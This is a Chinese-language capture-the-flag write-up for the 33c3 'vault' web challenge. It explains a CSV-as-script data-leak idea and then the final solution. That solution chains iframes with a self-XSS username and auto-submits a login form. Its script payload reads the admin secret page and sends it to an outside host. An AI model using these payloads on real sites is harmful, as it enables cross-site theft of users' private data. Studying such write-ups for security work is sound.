基于csv的信息泄露已死

前几天做33c3 ctf中的一道web题vault,遇到了一个比较好玩的前端的思路。

题目是一个用户管理系统,用户可以存储一段secret在数据库里。在联系管理员的页面可以提交一个网址,后台会用phantomjs去访问这个页面。
题目能通过文件包含漏洞拿到源码,并发现有一个管理员的后台页面可以导出用户的信息以及用户存储的secret。题目的目标是拿到管理员的secret。

来看后台页面导出用户信息的逻辑。

1
2
3
4
5
6
7
8
9
10
11
if (isset($_GET["ids"])) {
$export = "";
foreach(explode(",", $_GET["ids"]) as $id) {
$export .= "\"" . implode("\",\"", array_values(get_user($id))) ."\"\n";
}
header('Content-Disposition: attachment; filename="users.csv"');
header('Content-Type: text/csv');
header("Content-Length: " . strlen($export));
echo $export;
exit;

根据代码可以看到,只要提交用户以逗号分隔的id,就会用get_user函数取出对应的信息并导出成csv格式。

get_user函数对应的代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function get_user($user_id) {
global $redis;
if (logged_in()) {
$username = $redis->hget("user:{$user_id}", "username");
$password = $redis->hget("user:{$user_id}", "password");
$fname = $redis->hget("user:{$user_id}", "fname");
$lname = $redis->hget("user:{$user_id}", "lname");
$secret = $redis->hget("user:{$user_id}", "secret");
$isadmin = $redis->hget("user:{$user_id}", "isadmin");
return array("id" => $user_id,
"username" => $username,
"password" => $password,
"fname" => $fname,
"lname" => $lname,
"secret" => $secret,
"isadmin" => $isadmin);
}
return NULL;
}

get_user函数里,并没有对参数$user_id进行过滤,直接返回到结果里,被输出到csv中。

这里比较重要的一点是,csv的格式与javascript是兼容的。在有些浏览器里,通过<script src=引入一个合法的csv文件是不报错的。我们可以通过这个特性来获取到csv文件里的一些敏感信息。

现在问题简化为,以下数据中,aaa和bbb的两个地方可控,可以是除了逗号的任意字符,目标是将数据以<script src=引入,然后获取secret。

1
2
3
"aaa","","","","","",""
"1","admin","salt","salt","salt","secret","salt"
"bbb","","","","","",""

现在面临的一个小问题是,每一行结束之后都会有一个换行,如果想把第二行的数据包含在单引号里或者函数里,都会出现语法错误。

1
2
3
4
5
6
7
8
"";aaa='","","","","","",""
"1","admin","salt","salt","salt","secret","salt"
"');alert(aaa)//","","","","","",""
"";aaa=''.concat(","","","","","",""
"1","admin","salt","salt","salt","secret","salt"
"");alert(aaa)//","","","","","",""

当然,这个问题的解决方法也很简单,用ES6中字符串模板的方式即可。

1
2
3
"";aaa=`","","","","","",""
"1","admin","salt","salt","salt","secret","salt"
"`;alert(aaa)//","","","","","",""

本地浏览器下测试成功,但服务器上死活拿不到secret。后来才发现,最新的chrome里已经不允许<script src=的页面的Content-Type是csv了。。
一个非常好玩的前端利用思路就这样死了 = =

当然,这道题的最终解法是火日巨佬的另外一种思路。
题目里的查看资料的页面没有对用户名进行过滤,注册的时候也没有对用户名做任何限制。因此在查看资料的页面有一个用户名的self-xss。

利用思路是,在自己的页面中加一个iframe。第一个iframe为secret页面,此时获取的是管理员的secret页面。在第一个iframe加载完毕后,加载第二个iframe,作用是用自动提交表单的方式来登录一个用户名含有payload的用户。等第二个iframe加载完之后,访问查看资料的页面,此时查看的是恶意用户的资料,触发payload代码。payload代码的内容是,通过window.top的方式访问第一个iframe的内容,获取到旧页面中的管理员的secret并发送回来。

1
2
3
4
5
6
7
8
9
10
1.html
<iframe src="http://78.46.224.71/?page=secret"></iframe>
<iframe src="2.html" onload="(document.body.appendChild(document.createElement('iframe')).src='http://78.46.224.71/?page=profile');"></iframe>
2.html
<form id="exploit" action="http://78.46.224.71/?page=login" method="POST">
<input type="hidden" name="username" value="<script>new Image().src='//x.5alt.me:9999/'+escape(window.top.frames[0].document.documentElement.innerHTML)</script>" />
<input type="hidden" name="password" value="111" />
</form>
<script>document.getElementById('exploit').submit();</script>

参考资料

https://bugzilla.mozilla.org/show_bug.cgi?id=1232785

分享到 评论